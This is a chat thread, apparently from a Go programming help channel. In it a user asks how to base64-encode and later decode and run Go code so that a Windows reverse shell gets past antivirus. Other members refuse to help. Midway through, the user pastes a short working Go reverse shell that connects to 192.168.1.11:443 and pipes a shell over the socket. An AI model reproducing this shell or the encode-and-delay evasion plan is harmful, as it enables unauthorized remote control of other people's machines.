#decode and run the function
51 messages · Page 1 of 1 (latest)
yes
You cannot
Maybe something like https://github.com/traefik/yaegi
make a second file ?
smth easer ?
i mean want to make an exe on my pc and that exe will be executed on another pc, to show the string
It's non-trivial to execute arbitrary go code
You want to decode something and execute it? Go is a compiled language so any solution is gonna be very hacky
any solution will work
Lol
the project is a reverseshell
for windows
base 64 is bypassing the av
after 3 mins execute and thats all
Yeah no, we won't be helping you make a reverse shell.
i did it already
...
sure you did 😄 that is why you are asking here how to run one line of go code
Not allowed here
import"os/exec"
import"net"
func main(){
c,_:=net.Dial("tcp","192.168.1.11:443")
cmd:=exec.Command("sh")
cmd.Stdin=c
cmd.Stdout=c
cmd.Stderr=c
cmd.Run()
}
it works perfectly in vm
cyber security class :S
Still not understanding why you need to execute Go code
You're supposed to execute commands not go
Maybe I am too stupid but reverse shell means some kind of shell, like bash, zsh, sh or etc. but I might be out of sync on this topic probably. No idea how the go println comes here
goprint is the test if ican print the line i can run the other things too
What does that have to do with executing fmt.printlb
i want to see how it works
You can't, and it's not the exercise probably
You are supposed to run commands like 'echo' or whatever
Not to run custom go code
That's not what a reverse shell is
want me to send u an exe ?
No
when i build it and execute it on off av it works
i can ping
thats all
just want to make it base64 and after 3 mins decode it
and im done
Aight im out... Re-understand the assignment and ask the right questions
i want to see how can i use decoded function